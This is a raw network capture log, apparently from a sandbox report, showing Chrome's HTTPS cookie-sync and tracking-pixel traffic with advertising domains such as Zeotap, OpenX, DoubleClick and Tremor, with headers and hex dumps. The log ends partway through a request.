2024-03-28 08:51:36 UTC	675	OUT	GET /pub/sync?pubid=pub10101531197440&gdpr=0&gdpr_consent= HTTP/1.1 Host: t.adx.opera.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://onetag-sys.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: UID=OPU3668144d24c64241956e761ce5b3a0eb
2024-03-28 08:51:36 UTC	771	IN	HTTP/1.1 302 Found Server: Tengine Date: Thu, 28 Mar 2024 08:51:36 GMT Content-Type: text/html; charset=utf-8 Content-Length: 136 Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization, accept, origin, Cache-Control, X-Requested-With Access-Control-Allow-Methods: POST, GET Access-Control-Allow-Origin: * Cache-Control: no-cache, no-store, must-revalidate Expires: Mon, 01 Jan 1990 00:00:00 GMT Location: https://onetag-sys.com/match/?gdpr=0&gdpr_consent=&int_id=168&uid=OPU3668144d24c64241956e761ce5b3a0eb Pragma: no-cache Set-Cookie: UID=OPU3668144d24c64241956e761ce5b3a0eb; Path=/; Domain=adx.opera.com; Max-Age=31536000; Secure; SameSite=None
2024-03-28 08:51:36 UTC	136	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6f 6e 65 74 61 67 2d 73 79 73 2e 63 6f 6d 2f 6d 61 74 63 68 2f 3f 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 61 6d 70 3b 69 6e 74 5f 69 64 3d 31 36 38 26 61 6d 70 3b 75 69 64 3d 4f 50 55 33 36 36 38 31 34 34 64 32 34 63 36 34 32 34 31 39 35 36 65 37 36 31 63 65 35 62 33 61 30 65 62 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://onetag-sys.com/match/?gdpr=0&gdpr_consent=&int_id=168&uid=OPU3668144d24c64241956e761ce5b3a0eb">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
481	192.168.2.4	50299	51.222.39.186	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	698	OUT	GET /match/?int_id=3&uid=a9798ea5f5593278d52e5257c089&gdpr_consent=&gdpr=0 HTTP/1.1 Host: onetag-sys.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://onetag-sys.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: OTP=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI
2024-03-28 08:51:36 UTC	439	IN	HTTP/1.1 200 OK cache-control: no-transform, no-cache p3p: CP='CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR' set-cookie: OTP=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI; path=/; expires=Mon, 28 Apr 2025 01:09:54; domain=onetag-sys.com; SameSite=None; Secure; content-length: 0 strict-transport-security: max-age=15552000 alt-svc: h3=":443"; ma=900, h3-29=":443"; ma=900 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
482	192.168.2.4	50369	52.46.151.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	890	OUT	GET /v3/pr?exlist=gg_pm-db5_rbd_smrt_an-db5_sovrn_3lift&fv=1.0&a=cm&cm3ppd=1&dmt=3 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://s.amazon-adsystem.com/iu3?cm3ppd=1&d=dtb-pub&csif=t&dl=gg_pm-db5_rbd_smrt_an-db5_sovrn_3lift Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A_Jw6tBbHE0JghtRXUp_d2g; ad-privacy=0
2024-03-28 08:51:36 UTC	452	IN	HTTP/1.1 200 OK Server: Server Date: Thu, 28 Mar 2024 08:51:36 GMT Content-Type: text/html;charset=ISO-8859-1 Content-Length: 1818 Connection: close x-amz-rid: Q8T7AG9B0A14WC6R8Y8E Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-03-28 08:51:36 UTC	1818	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 72 65 66 65 72 72 65 72 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 62 35 65 38 62 63 38 63 2d 37 33 62 63 2d 34 30 31 66 2d 39 39 65 39 2d 61 38 36 33 66 63 63 30 38 34 35 34 22 3e 20 62 6f 64 79 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 20 7d 20 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 69 66 72 61 6d 65 20 77 69 64 74 68 3d 22 31 22 20 68 65 69 67 68 74 3d 22 31 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 22 20 73 Data Ascii: <html><head><meta name="referrer" content="no-referrer" /><style nonce="b5e8bc8c-73bc-401f-99e9-a863fcc08454"> body { background-color:transparent } </style></head><body><iframe width="1" height="1" frameborder="0" marginwidth="0" marginheight="0" s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
483	192.168.2.4	50300	34.98.64.218	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	800	OUT	GET /w/1.0/sd?id=537148856&val=ZgUvkQAB4q7dwAA-&_test=ZgUvkQAB4q7dwAA- HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://us-u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=fe628250-ec64-0d68-3371-9efce43e151a\|1711615883; pd=v2\|1711615884\|vMgavPkWgyiK; univ_id=537072971\|a109dc60-dc7c-45e5-ab53-e2448a53420f\|1711615889262557
2024-03-28 08:51:36 UTC	366	IN	HTTP/1.1 200 OK Vary: Accept Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Thu, 28 Mar 2024 08:51:36 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 08:51:36 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
484	192.168.2.4	50316	142.250.31.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	758	OUT	GET /pixel?google_nid=casale_media2_dbm&google_cm&google_sc&google_hm=ZgUvi9HM46UAADq7ABhzMwAA HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUmShSMxYxGFdBdbQr33hUW57CkIIiyjPSwPpfzgsFihb9v58v_rNj8X6JwdIeU
2024-03-28 08:51:36 UTC	679	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://dsum-sec.casalemedia.com/crum?cm_dsp_id=45&external_user_id=CAESEDteeIW_CFkcQZAbNNYlZxc&google_cver=1 Date: Thu, 28 Mar 2024 08:51:36 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 314 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 08:51:36 UTC	314	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 73 75 6d 2d 73 65 63 2e 63 61 73 61 6c 65 6d 65 64 69 61 2e 63 6f 6d 2f 63 72 75 6d 3f 63 6d 5f 64 73 70 5f 69 64 3d 34 35 26 61 6d 70 3b 65 78 74 65 72 6e 61 6c 5f 75 73 65 72 5f 69 64 3d 43 41 45 53 45 44 74 65 65 49 57 5f 43 46 6b Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://dsum-sec.casalemedia.com/crum?cm_dsp_id=45&external_user_id=CAESEDteeIW_CFk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
485	192.168.2.4	50340	104.22.50.98	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	1210	OUT	GET /mw?google_gid=CAESEEsi_bRI3GLpfUTpWd4PH8g&google_cver=1&zpartnerid=1&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648 HTTP/1.1 Host: mwzeom.zeotap.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://spl.zeotap.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zc=5b95a3db-1a3a-4c5d-7bc4-805f128d851b; zsc=%AE%02%D3%0B%0Bb%FB%E5%E0%3D%CFm%7CN%D3%E2%87%F5d%B0Z%0Aw%1E%19%E9%E6%3E%85%C82%1D%C7%E6_R%D8%3A%26%BA%81%8D%BE%80%3B%8C%F1%F1l%C2%06%B7%BC%1C%3F.%1Bb%AE%A1%96Yl%E3%15%A0%AE%5D%AE%8A%F6V%3AYCg%7F%A1UA%00%C2%C1%8B%C1%87k%08R%7B%E4%D2%14zm%5D%C09%F4%40Gg%C7%1693iw%82%23%A4%D7%D6%19%81c%3A%9FW%F3%08%DEgV%D5V2%7Fd%8A%F1%3B%2C%F9%18%0F%0F%B72L%B0.%B4%B2%95T%D7%87%03%BF%8A%97Ha%C9%D1%60%AB
2024-03-28 08:51:36 UTC	580	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:36 GMT Content-Type: image/png Content-Length: 95 Connection: close access-control-allow-credentials: true access-control-allow-headers: * access-control-allow-origin: https://spl.zeotap.com set-cookie: zc=5b95a3db-1a3a-4c5d-7bc4-805f128d851b; Path=/; Domain=.zeotap.com; Max-Age=31536000; SameSite=None; Secure vary: Origin via: 1.1 google CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=2592000; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 86b661170b7b9c22-IAD
2024-03-28 08:51:36 UTC	95	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 0a 49 44 41 54 08 d7 63 60 00 00 00 02 00 01 e2 21 bc 33 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR%VPLTEz=tRNS@fIDATc`!3IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
486	192.168.2.4	50326	3.208.144.215	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	1260	OUT	GET /syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=google%2Cdemandbase%2Cportodsp%2Cconversant%2CTubeMogul-GP%2C1%2Cdataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 HTTP/1.1 Host: partners.tremorhub.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tvid=5c99a009bd184d5ca3b7885003b720e3; tvrg_61036=1,1711615884; tvv=2
2024-03-28 08:51:36 UTC	319	IN	HTTP/1.1 200 Date: Thu, 28 Mar 2024 08:51:36 GMT Content-Type: text/xml;charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: nginx P3P: CP='This is not a P3P policy. See https://telaria.com/privacy-policy/' access-control-allow-origin: https://bsnews.it access-control-allow-credentials: true
2024-03-28 08:51:36 UTC	1165	IN	Data Raw: 34 38 36 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 56 41 53 54 20 76 65 72 73 69 6f 6e 3d 22 33 2e 30 22 20 78 6d 6c 6e 73 3a 74 3d 22 68 74 74 70 3a 2f 2f 74 72 65 6d 6f 72 68 75 62 2e 63 6f 6d 2f 73 73 70 22 20 74 3a 73 74 61 74 75 73 3d 22 4e 4f 5f 41 44 22 3e 3c 41 64 20 3e 3c 57 72 61 70 70 65 72 3e 3c 41 64 53 79 73 74 65 6d 3e 54 72 65 6d 6f 72 20 53 53 50 3c 2f 41 64 53 79 73 74 65 6d 3e 3c 56 41 53 54 41 64 54 61 67 55 52 49 3e 3c 21 5b 43 44 41 54 41 5b 68 74 74 70 73 3a 2f 2f 70 61 72 74 6e 65 72 73 2e 74 72 65 6d 6f 72 68 75 62 2e 63 6f 6d 2f 73 79 6e 63 6e 6f 61 64 3f 72 69 64 3d 33 30 66 32 65 31 30 30 63 33 38 30 34 36 38 35 62 38 39 62 63 34 33 32 65 37 66 Data Ascii: 486<?xml version="1.0" encoding="UTF-8"?><VAST version="3.0" xmlns:t="http://tremorhub.com/ssp" t:status="NO_AD"><Ad ><Wrapper><AdSystem>Tremor SSP</AdSystem><VASTAdTagURI><![CDATA[https://partners.tremorhub.com/syncnoad?rid=30f2e100c3804685b89bc432e7f
2024-03-28 08:51:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
487	192.168.2.4	50349	35.186.193.173	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	595	OUT	GET /int/cm?exc=19 HTTP/1.1 Host: cm.ctnsnet.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:36 UTC	701	IN	HTTP/1.1 302 Found Server: Apache-Coyote/1.1 P3P: CP="NOI DSP COR NID CUR OUR NOR" Set-Cookie: cid_c9d07f22dbb14df48cfc0d690e45ddb9=1; path=/; domain=.ctnsnet.com; expires=Fri, 28 Mar 2025 08:51:36 GMT; Secure; SameSite=None; Pragma: no-cache Cache-Control: no-cache, must-revalidate Expires: Fri, 01 Jan 1990 00:00:00 GMT x-xss-protection: 1; mode=block Status: 302 Location: https://dsum-sec.casalemedia.com/crum?cm_dsp_id=109&external_user_id=c9d07f22dbb14df48cfc0d690e45ddb9&expiration=1714207896 Content-Type: text/html;charset=UTF-8 Content-Length: 0 Date: Thu, 28 Mar 2024 08:51:35 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
488	192.168.2.4	50342	104.22.50.98	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	1198	OUT	GET /mw?cid=a109dc60-dc7c-45e5-ab53-e2448a53420f&zpartnerid=6&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648 HTTP/1.1 Host: mwzeom.zeotap.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://spl.zeotap.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zc=5b95a3db-1a3a-4c5d-7bc4-805f128d851b; zsc=%AE%02%D3%0B%0Bb%FB%E5%E0%3D%CFm%7CN%D3%E2%87%F5d%B0Z%0Aw%1E%19%E9%E6%3E%85%C82%1D%C7%E6_R%D8%3A%26%BA%81%8D%BE%80%3B%8C%F1%F1l%C2%06%B7%BC%1C%3F.%1Bb%AE%A1%96Yl%E3%15%A0%AE%5D%AE%8A%F6V%3AYCg%7F%A1UA%00%C2%C1%8B%C1%87k%08R%7B%E4%D2%14zm%5D%C09%F4%40Gg%C7%1693iw%82%23%A4%D7%D6%19%81c%3A%9FW%F3%08%DEgV%D5V2%7Fd%8A%F1%3B%2C%F9%18%0F%0F%B72L%B0.%B4%B2%95T%D7%87%03%BF%8A%97Ha%C9%D1%60%AB
2024-03-28 08:51:36 UTC	580	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:36 GMT Content-Type: image/png Content-Length: 95 Connection: close access-control-allow-credentials: true access-control-allow-headers: * access-control-allow-origin: https://spl.zeotap.com set-cookie: zc=5b95a3db-1a3a-4c5d-7bc4-805f128d851b; Path=/; Domain=.zeotap.com; Max-Age=31536000; SameSite=None; Secure vary: Origin via: 1.1 google CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=2592000; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 86b661173bc63908-IAD
2024-03-28 08:51:36 UTC	95	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 0a 49 44 41 54 08 d7 63 60 00 00 00 02 00 01 e2 21 bc 33 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR%VPLTEz=tRNS@fIDATc`!3IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
489	192.168.2.4	50339	104.22.50.98	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	1187	OUT	GET /mw?adnxs_uid=3287041831475129344&zpartnerid=2&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648 HTTP/1.1 Host: mwzeom.zeotap.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://spl.zeotap.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zc=5b95a3db-1a3a-4c5d-7bc4-805f128d851b; zsc=%AE%02%D3%0B%0Bb%FB%E5%E0%3D%CFm%7CN%D3%E2%87%F5d%B0Z%0Aw%1E%19%E9%E6%3E%85%C82%1D%C7%E6_R%D8%3A%26%BA%81%8D%BE%80%3B%8C%F1%F1l%C2%06%B7%BC%1C%3F.%1Bb%AE%A1%96Yl%E3%15%A0%AE%5D%AE%8A%F6V%3AYCg%7F%A1UA%00%C2%C1%8B%C1%87k%08R%7B%E4%D2%14zm%5D%C09%F4%40Gg%C7%1693iw%82%23%A4%D7%D6%19%81c%3A%9FW%F3%08%DEgV%D5V2%7Fd%8A%F1%3B%2C%F9%18%0F%0F%B72L%B0.%B4%B2%95T%D7%87%03%BF%8A%97Ha%C9%D1%60%AB
2024-03-28 08:51:36 UTC	580	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:36 GMT Content-Type: image/png Content-Length: 95 Connection: close access-control-allow-credentials: true access-control-allow-headers: * access-control-allow-origin: https://spl.zeotap.com set-cookie: zc=5b95a3db-1a3a-4c5d-7bc4-805f128d851b; Path=/; Domain=.zeotap.com; Max-Age=31536000; SameSite=None; Secure vary: Origin via: 1.1 google CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=2592000; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 86b66117499607fa-IAD
2024-03-28 08:51:36 UTC	95	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 0a 49 44 41 54 08 d7 63 60 00 00 00 02 00 01 e2 21 bc 33 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR%VPLTEz=tRNS@fIDATc`!3IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
490	192.168.2.4	50341	104.22.50.98	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:36 UTC	1181	OUT	GET /mw?cid=4101133984087788602&zpartnerid=3&env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648 HTTP/1.1 Host: mwzeom.zeotap.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://spl.zeotap.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zc=5b95a3db-1a3a-4c5d-7bc4-805f128d851b; 